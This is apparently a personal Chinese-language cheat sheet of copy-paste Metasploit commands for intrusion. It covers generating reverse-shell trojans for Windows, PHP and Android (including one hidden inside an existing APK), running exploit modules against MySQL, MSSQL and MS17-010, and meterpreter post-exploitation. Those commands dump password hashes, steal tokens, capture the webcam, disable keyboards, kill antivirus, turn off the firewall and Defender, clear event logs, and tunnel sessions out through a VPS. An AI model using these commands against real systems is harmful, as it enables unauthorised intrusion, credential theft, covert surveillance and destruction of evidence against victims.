最近在用 msf,整理了一些常用命令,便于用到是复制粘贴。 内容会随着遇到的东西补充。
启动 msf
开启 msf 前最好先打开 postgresql 数据库,否则会出现会话传递的问题
$ service postgresql start
$ service postgresql status
$ sudo msfdb init
db_status 查看 postgresql 数据库连接状态
msf > db_status
msfvenom 生成木马
生成 Windows 木马
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.244.130 lport=4444 -f exe >XX.exe
生成 php 反连木马 (木马功能性比较少)
msfvenom -p php/meterpreter/reverse_tcp LHOST=ip LPORT=8080 -f raw > shell.php
msf 监听模块
use exploit/multi/handler
防止 session 退出
# 可以在接收到 seesion 后继续监听端口,保持侦听。
set ExitOnSession false
# 默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
set SessionExpirationTimeout 0
接着需要设置 payload,常见 payload :
Windows 反连木马:
set payload windows/meterpreter/reverse_tcp
php 反连木马
set payload php/meterpreter/reverse_tcp
cobalt strike 传递 msf sessions payload
set payload windows/meterpreter/reverse_http
Windows 部分的正向连接
set payload windows/x64/meterpreter/bind_tcp
可以接收 nc 等普通反弹 shell
search shell_reverse_tcp
msf 生成正向连接木马
msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe
或者
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe
在目标机器上面运行了这个木马以后,就会在目标机器的对应端口上开启监听,只会接收一次数据
回到本机 Kali 上 use multi/handler 监听的时候设置好对应的端口以及目标的 IP 地址,然后 run 一下就可以连上了
当然推荐使用生成 dll 的技术
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1337 -f dll >bind.dll
使用方法是:
rundll32.exe xxx.dll,Start
这样隐藏性会比较好
安卓包嵌入木马:
msfvenom -x puzzle.apk -p android/meterpreter/reverse_tcp LHOST=<OUR_PUBLIC_IP> LPORT=443 -o /var/www/html/puzzle.apk
msf 扫描模块
发现存活主机以及服务的相关模块
基于 arp
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
基于 ftp
auxiliary/scanner/ftp/ftp_version
基于 http
auxiliary/scanner/http/http_version
基于 Smb
auxiliary/scanner/smb/smb_version
发现 ssh 服务
auxiliary/scanner/ssh/ssh_version
发现 telnet 服务
auxiliary/scanner/telnet/telnet_version
发现存活主机
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/dns/dns_amp
发现 Mysql
auxiliary/scanner/mysql/mysql_version
在实战过程中,许多特殊环境下scanner,db_nmap不能快速符合实战渗透诉求,尤其在域中的主机存活发现,而post下的模块,弥补了该诉求,以便快速了解域中存活主机。
windows/gather/arp_scanner
windows/gather/enum_ad_computers
windows/gather/enum_computers
windows/gather/enum_domain
windows/gather/enum_domains
windows/gather/enum_ad_user_comments
msf 攻击模块
攻击 Mysql
auxiliary/scanner/mysql/mysql_login
exploit/multi/mysql/mysql_udf_payload
exploit/windows/mysql/mysql_mof
exploit/windows/mysql/scrutinizer_upload_exec
auxiliary/scanner/mysql/mysql_hashdump 这个不经常用,可以直接 SELECT USER,host,password from mysql.user 代替
auxiliary/admin/mysql/mysql_sql
auxiliary/scanner/mysql/mysql_version
攻击 sql server
最常用模块之一,当没有激活xp_cmdshell,自动激活。并且调用执行cmd命令。权限继承 Sql server
auxiliary/admin/mssql/mssql_exec
非常好的模块之一,在实战中。针对不同时间版本的系统都有着自己独特的方式来上传payload。
exploit/windows/mssql/mssql_payload
基本操作
这里只记录一下自己不熟悉的
exploit 是用来执行漏洞攻击的指令。它需要指定要使用的漏洞攻击模块和目标系统的相关参数。
run 指令则用于运行其他类型的模块,如扫描器、木马检测器等。
exploit -j 以后台的方式运行
-z 参数用于在运行 exploit 或 run 指令时不交互,即不需要用户确认运行操作。
back:回到msfconsole根目录
进入 Shell 中出现中文乱码的话可输入 chcp 65001
Session 操作(meterpreter)
进入 shell
shell
保存此 session 返回 msf 终端
background
读取文件
cat
获取当前工作目录
getwd
上传文件命令
upload /tmp/tmp.txt C:\\Users\\UserName\\Desktop\\tmep\\tmp.txt
下载文件命令
download C:\\Users\\UserName\\Desktop\\tmep\\tmp.txt /tmp
编辑文件命令
edit C:\\Users\\UserName\\Desktop\\tmep\\tmp.txt
查找文件命令,具体使用看帮助
search -h
ps 命令,查看目标机器上面的进程
ps
进程注入/迁移
migrate PROCESS_ID
getpid,获取当前会话所在的进程 PID
sysinfo 获取机器的基础信息
getuid命令用于获得运行meterpreter会话的用户名,从而查看当前会话具有的权限
getsystem 尝试获取 system 权限
uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘
webcam_list #查看摄像头
webcam_snap #截屏
webcam_stream #通过摄像头开启视频
清理 Windows 的日志
clearev
远程桌面管理
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接
提取密码
msv
portfwd
可以将目标 ip 的端口转发到本地
如虽然此 sessions 的 ip 只是 192.168.1.15 但是却可以这样
meterpreter > portfwd add -r 192.168.1.160 -p 7001 -l 7001
将 192.168.1.160 的 7001 端口转发到本地 7001
只输入 portfwd 可以显示转发的表
窃取凭证
meterpreter > steal_token 进程PID
meterpreter > rev2self // 恢复凭证
creds_all
也可以获取 Windows 所有密码
内网渗透中常用操作
cs 会话传递给 msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
msf 传递会话给 cs 有时候还是有用的,因为 msf 提权本事很大,提权完后再把会话传给 Cs
use exploit/windows/local/payload_inject
设置 payload
set payload windows/meterpreter/reverse_https
设置 vps 的 ip 和端口
set lhost vps
set lport port
设置 DisablePayloadHandler 为 True,此选项会让 Metasploit Framework 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉 Metasploit Framework 说我们已经建立了监听器,不必再新建监听器了。
set DisablePayloadHandler True
然后 run 就可以了。但是需要注意的是该会话是借助 notepad.exe 进程存在的,如果关掉了记事本会话就会掉,建议 CS 上线后注入其他进程
提权模块检测
use multi/recon/local_exploit_suggester
抓取密码/哈希
meterpreter > post/windows/gather/smart_hashdump
添加路由,代理进内网
meterpreter > run post/multi/manage/autoroute
查看路由
route print
扫描存活主机
use auxiliary/scanner/portscan/tcp
set ports 80,135-139,445,3306,3389
set rhosts 192.168.52.0-255
set threads 50
ms17 检测
use scanner/smb/smb_ms17_010
ms17 打不穿有可能是因为跳板机防火墙
msf6-> sessions -l #查看所有会话
msf6-> sessions 4 #进入会话4中
shell
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender
开启远程登录
run post/windows/manage/enable_rdp
将一个普通 shell 转换为 metepreter shell 方法: Ctrl +z 将 shell 放到后台。然后
sessions -u sessionsID
命令关闭目标机的杀毒软件
run post/windows/manage/killav
进程注入
run post/windows/manage/migrate
清除事件日志
run event_manager -c
frp 实现虚拟机内的 msf 内网穿透
参考 https://www.freebuf.com/articles/web/270456.html
去 https://github.com/fatedier/frp/releases 下载好相关版本的
tar -zxvf xxxxxxx.tar.gz
VPS 上 frps.ini 的设置
[common]
bind_port = 7000
authentication_method = token
token = Your_password
Kali 上 frpc.ini 的设置
# frpc.ini
[common]
server_addr = VPS_IP
server_port = 7000
authentication_method = token
token = Your_password
[range:msf_reverse_shell]
type = tcp
local_ip = 127.0.0.1
local_port = 10000-11000
custom_domains = VPS_IP
remote_port = 20000-21000
VPS 上
./frps -c frps.ini
Kali 上
./frpc -c frpc.ini
MSF 通过反连木马监听上线
当使用监听的时候如:
use exploit/multi/handler
应当设置
set lhost 127.0.0.1
set port [10000-20000] # 这个是 Kali 上的端口号
但是生成的木马应该设置好 host 为 vps 的 ip port 为 vps 的 ip
MSF 通过 Exploit 模块上线新的 session
而当使用其他的 exploit 会生成新的 sessions 的时候应该按照如下操作,如果不这么做,极有可能会接收不到 sessions
msf6 exploit(xxxxxx) > handler -p windows/meterpreter/reverse_tcp -P 【这里写 Kali 的端口】 -H 127.0.0.1
输入 jobs 可以看到刚刚设置的后台监听
msf6 exploit(xxxxxx) > jobs
然后就是
set lhost vps_ip
set port vps 对应 kali的端口
最后就是再取消 handler (即listen),此时LHOST/LPORT只有一个作用,就是确定执行payload后的反连地址,运行后即可成功在 VPS 上监听。
set disablepayloadhandler true
run 以后可以对 jobs 对应的 ID kill 掉
kill <job_id>